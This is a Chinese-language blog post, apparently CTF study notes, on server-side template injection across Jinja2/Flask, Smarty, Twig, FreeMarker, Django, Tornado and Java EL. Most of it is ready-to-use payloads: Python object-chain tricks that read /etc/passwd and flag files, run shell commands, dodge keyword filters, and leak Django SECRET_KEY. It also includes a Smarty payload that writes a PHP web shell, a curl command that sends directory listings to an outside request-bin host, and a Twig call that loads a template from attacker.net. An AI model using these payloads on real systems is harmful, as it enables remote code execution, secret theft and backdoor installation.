江鸟's Blog

SSTi 学习(持续待更新)

字数统计: 3.6k阅读时长: 17 min
2020/04/02 Share

在遇到几次flask之后有点迷茫,在做了几个题目之后稍微有了一点理解,于是选择自己写一下自己的理解,大致包括php和python的模版注入

SSTi 学习(待更新)

模版概述

​ 模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这大大提升了开发效率,良好的设计也使得代码重用变得更加容易。与此同时,它也扩展了黑客的攻击面。除了常规的 XSS 外,注入到模板中的代码还有可能引发 RCE(远程代码执行)。通常来说,这类问题会在博客,CMS,wiki 中产生。虽然模板引擎会提供沙箱机制,攻击者依然有许多手段绕过它。在这篇文章中,我将会攻击几个模板引擎来说明该类漏洞,并展示沙箱逃逸技术。

模版注入

通过模板,Web应用可以把输入转换成特定的格式,传递给前端。每当服务器用模板引擎解析用户的输入时,如果没有经过合理的处理,就有可能数据插入了程序段中变成了程序的一部分,从而改变了程序的执行逻辑

附图:各框架模板结构:

t01f4792c7d03dd49cc

img

详细原理可以查看这个:https://www.jianshu.com/p/aef2ae0498df

构造的方法

基于ssti的魔术方法

1
2
3
4
5
6
7
8
9
10
11
12
13
__class__  返回类型所属的对象
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ 返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的

__dict__ 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里的对象的__dict__中存储了一些self.xxx的一些东西内置的数据类型没有__dict__属性每个类有自己的__dict__属性,就算存在继承关系,父类的__dict__ 并不会影响子类的__dict__对象也有自己的__dict__属性, 存储self.xxx 信息,父子类对象公用__dict__

__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__该属性是函数特有的属性,记录当前文件全局变量的值,如果某个文件调用了os、sys等库,但我们只能访问该文件某个函数或者某个对象,那么我们就可以利用globals属性访问全局的变量。该属性保存的是函数全局变量的字典引用。
__getattribute__()实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。

__builtins__ builtins即是引用,Python程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于builtins却不用导入,它在任何模块都直接可见,所以可以直接调用引用的模块

获取基本类的方法

1
2
3
4
5
6
7
[].__class__.__base__
''.__class__.__mro__[2]
().__class__.__base__
{}.__class__.__base__
request.__class__.__mro__[8]   //针对jinjia2/flask为[9]适用
或者
[].__class__.__bases__[0] //其他的类似

获取基本类的子类

1
2
>>> [].__class__.__base__.__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>]

简单利用

读取文件

1
2
>>> ().__class__.__base__.__subclasses__()[40]('/flag').read()
'flag{my_local_flag}\n'

这时候我们知道索引号为40的是file类

如果不知道的情况下,我们列出全部的类一个个找很麻烦,可以使用一个循环输出,这样查找会方便很多

1
for i in enumerate(''.__class__.__mro__[-1].__subclasses__()): print i
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
(0, <type 'type'>)
(1, <type 'weakref'>)
(2, <type 'weakcallableproxy'>)
(3, <type 'weakproxy'>)
(4, <type 'int'>)
(5, <type 'basestring'>)
(6, <type 'bytearray'>)
(7, <type 'list'>)
(8, <type 'NoneType'>)
(9, <type 'NotImplementedType'>)
(10, <type 'traceback'>)
(11, <type 'super'>)
(12, <type 'xrange'>)
(13, <type 'dict'>)
(14, <type 'set'>)
(15, <type 'slice'>)
(16, <type 'staticmethod'>)
(17, <type 'complex'>)
(18, <type 'float'>)
(19, <type 'buffer'>)
(20, <type 'long'>)
(21, <type 'frozenset'>)
(22, <type 'property'>)
(23, <type 'memoryview'>)
(24, <type 'tuple'>)
(25, <type 'enumerate'>)
(26, <type 'reversed'>)
(27, <type 'code'>)
(28, <type 'frame'>)
(29, <type 'builtin_function_or_method'>)
(30, <type 'instancemethod'>)
(31, <type 'function'>)
(32, <type 'classobj'>)
(33, <type 'dictproxy'>)
(34, <type 'generator'>)
(35, <type 'getset_descriptor'>)
(36, <type 'wrapper_descriptor'>)
(37, <type 'instance'>)
(38, <type 'ellipsis'>)
(39, <type 'member_descriptor'>)
(40, <type 'file'>)
(41, <type 'PyCapsule'>)

flask/jinja利用方式

config

1
{{config}}可以获取当前设置,如果题目类似app.config ['FLAG'] = os.environ.pop('FLAG'),那可以直接访问{{config['FLAG']}}或者{{config.FLAG}}得到flag

self

1
2
{{self}} ⇒ <TemplateReference None>
{{self.__dict__._TemplateReference__context.config}} ⇒ 同样可以找到config

“” [] ()等数据结构

主要目的是配合__class__.__mro__[2]这样找到object
{\{[].__class__.__base__.__subclasses__()[68].__init__.__globals__['os'].__dict__.environ['FLAG']}}

url_for, g, request, namespace, lipsum, range, session, dict, get_flashed_messages, cycler, joiner, config等

如果config,self不能使用,要获取配置信息,就必须从它的上部全局变量(访问配置current_app等)。

例如:

1
2
3
{{url_for.__globals__['current_app'].config.FLAG}}
{{get_flashed_messages.__globals__['current_app'].config.FLAG}}
{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}

读写文件

当然,某些情况下system函数会被过滤。这时候也可以采用os模块的listdir函数来读取目录。(可以配合file来实现任意文件读取)

1
>>> ().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir('.')  #读取本级目录

另外在某些不得已的情况下可以使用以下方式来读取文件。(没见过这种情况)。

方法一:

1
>>> ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()    #把 read() 改为 write() 就是写文件

方法二:

存在的子模块可以通过 .index()方式来查询

1
2
>>> ''.__class__.__mro__[2].__subclasses__().index(file)
40

用file模块来查询。

1
>>> [].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()

shell命令执行

本人有点菜,就直接搬运大佬的方法了。

方法一:  eval函数进行命令执行

1
>>> ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')

方法二:  利用 warnings.catch_warnings 进行命令执行

1
2
>>> {}.__class__.__base__.__subclasses__().index(warnings.catch_warnings)
59

查看 linecache 的位置

1
2
>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__.keys().index('linecache')
25

找os模块。

1
2
>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.keys().index('os')
12

查找system方法的位置(在这里使用os.open().read()可以实现一样的效果,步骤一样,不再复述)

1
2
>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.keys().index('system')
144

调用system方法。(不包含system,可以绕过过滤system的情况)

1
2
3
>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('whoami')
root
0

方法三:利用commands进行命令执行

1
2
3
>>> {}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')
>>> {}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').system('ls')
>>> {}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('ls').read()

直接注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
{% for c in [].__class__.__base__.__subclasses__() %}

{% if c.__name__ == 'catch_warnings' %}

{% for b in c.__init__.__globals__.values() %}

{% if b.__class__ == {}.__class__ %} //遍历基类 找到eval函数

{% if 'eval' in b.keys() %} //找到了

{{ b['eval']('__import__("os").popen("cat fl4g").read()') }}

{% endif %}

{% endif %}

{% endfor %}

{% endif %}

{% endfor %}

常见绕过

以下表示法可用于访问对象的属性:

  • request.__class__
  • request["__class__"]
  • request|attr("__class__")

可以使用以下方法访问数组元素:

  • array[0]
  • array.pop(0)
  • array.__getitem__(2)

1、过滤[].的情况

1
2
3
4
pop() 函数用于移除列表中的一个元素(默认最后一个元素),并且返回该元素的值。
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()
若.也被过滤,使用原生JinJa2函数 |attr()
将 request.__class__ 改成 request|attr("__class__")

2、过滤_

利用request.args属性
{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__
将其中的request.args改为request.values则利用post的方式进行传参

3、关键词过滤

  • base64编码绕过
    __getattribute__使用实例访问属性时,调用该方法

例如被过滤掉__class__关键词
{{[].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}}

  • 字符串拼接绕过
    {{[].__getattribute__('__c'+'lass__').__base__.__subclasses__()[40]("/etc/passwd").read()}}
    {{[].__getattribute__(['__c','lass__']|join).__base__.__subclasses__()[40]}}

4、过滤{

使用{% if ... %}1{% endif %},例如

1
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://http.bin.buuoj.cn/1inhq4f1 -d `ls / |  grep flag`;') %}1{% endif %}

如果不能执行命令,读取文件可以利用盲注的方法逐位将内容爆出来

1
{% if ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/test').read()[0:1]=='p' %}1{% endif %}

5、过滤args,_ , .

1
2
3
4
5
6
7
8
fuzz发现过滤 _ . request.*?args
_使用request.args绕过
.使用[]替换
args使用values替换

?name={{""[request["values"]["class"]][request["values"]["mro"]][1][request["values"]["subclass"]]()[286][request["values"]["init"]][request["values"]["globals"]]["os"]["popen"]("ls /")["read"]()}}

post class=__class__&mro=__mro__&subclass=__subclasses__&init=__init__&globals=__globals__

部分简单payload

Python2

1
2
3
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}  
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').system('whoami')")}}

python3

1
2
{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('/flag').read()}}
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}

Smarty

以下内容出自Smarty SSTI

{php}{/php}

Smarty已经废弃{php}标签,强烈建议不要使用。在Smarty 3.1,{php}仅在SmartyBC中可用

{literal}

{literal}可以让一个模板区域的字符原样输出。这经常用于保护页面上的Javascript或css样式表,避免因为Smarty的定界符而错被解析。

那么对于php5的环境我们就可以使用

{if}

Smarty的{if}条件判断和PHP的if 非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if}. 也可以使用{else} 和 {elseif}. 全部的PHP条件表达式和函数都可以在if内使用,如||,or,&&,and,is_array(), 等等

{if phpinfo()}{/if}

getStreamVariable

新版本失效
{self::getStreamVariable("file:///etc/passwd")}

clearConfig()

能写文件对攻击者真的是太有利了,一般不出意外能直接 getshell

{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}

twig

1
2
3
4
5
6
7
8
9
10
11
12
13
14
文件读取

{{'/etc/passwd'|file_excerpt(1,30)}}

{{app.request.files.get(1).__construct('/etc/passwd','')}}
{{app.request.files.get(1).openFile.fread(99)}}
rce

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

{{['cat /etc/passwd']|filter('system')}}

POST /subscribe?0=cat+/etc/passwd HTTP/1.1
{{app.request.query.filter(0,0,1024,{'options':'system'})}}

env

1
2
{{_self.env.setCache("ftp://attacker.net:2121")}}
{{_self.env.loadTemplate("backdoor")}}

但是新的问题出现了,allow_url_include 一般是不打开的,没法包含远程文件,没关系还有个调用过滤器的函数 getFilter()

这样就好了

1
2
3
{{_self.env.registerUndefinedFilterCallback("exec")}}

{{_self.env.getFilter("id")}}

freeMarker

这个模板主要用于 java

1
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }

Django

1
2
{user.groups.model._meta.app_config.module.admin.settings.SECRET_KEY}
{user.user_permissions.model._meta.app_config.module.admin.settings.SECRET_KEY}

Tornado

写文章的时候正巧赶上护网杯出了一道 tornado 的 SSTI 于是这里也作为一个比较好的例子给大家说明

根据提示这道题的意思就是通过SSTI 获取 cookie_secret,但是这里过滤了很多东西

1
"%'()*-/=[\]_|

这里明确写着 handler 对应的就是 RequestHandler,那么也就是说,我们可以使用 handler 调用 RequestHandler 的方法,我们还是看官方文档

1
{{handler.settings}}

java.long

1
2
3
${T(java.lang.System).getenv()}

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

沙盒逃逸参考

[沙盒逃逸备忘](https://www.k0rz3n.com/2018/05/04/Python 沙盒逃逸备忘/)

文章参考

一篇文章带你理解漏洞之SSTI漏洞

从零开始的ssti学习

SSTI/沙盒逃逸详细总结

CATALOG
  1. 1. SSTi 学习(待更新)
    1. 1.1. 模版概述
    2. 1.2. 模版注入
    3. 1.3. 构造的方法
      1. 1.3.1. 基于ssti的魔术方法
      2. 1.3.2. 获取基本类的方法
      3. 1.3.3. 获取基本类的子类
      4. 1.3.4. 简单利用
    4. 1.4. flask/jinja利用方式
      1. 1.4.1. config
      2. 1.4.2. self
      3. 1.4.3. “” [] ()等数据结构
      4. 1.4.4. url_for, g, request, namespace, lipsum, range, session, dict, get_flashed_messages, cycler, joiner, config等
      5. 1.4.5. 读写文件
      6. 1.4.6. shell命令执行
      7. 1.4.7. 直接注入
      8. 1.4.8. 常见绕过
        1. 1.4.8.1. 1、过滤[]和.的情况
        2. 1.4.8.2. 2、过滤_
        3. 1.4.8.3. 3、关键词过滤
        4. 1.4.8.4. 4、过滤{
        5. 1.4.8.5. 5、过滤args,_ , .
      9. 1.4.9. 部分简单payload
    5. 1.5. Smarty
      1. 1.5.1. {php}{/php}
      2. 1.5.2. {literal}
      3. 1.5.3. {if}
      4. 1.5.4. getStreamVariable
      5. 1.5.5. clearConfig()
    6. 1.6. twig
      1. 1.6.1. env
    7. 1.7. freeMarker
    8. 1.8. Django
    9. 1.9. Tornado
    10. 1.10. java.long
    11. 1.11. 沙盒逃逸参考
    12. 1.12. 文章参考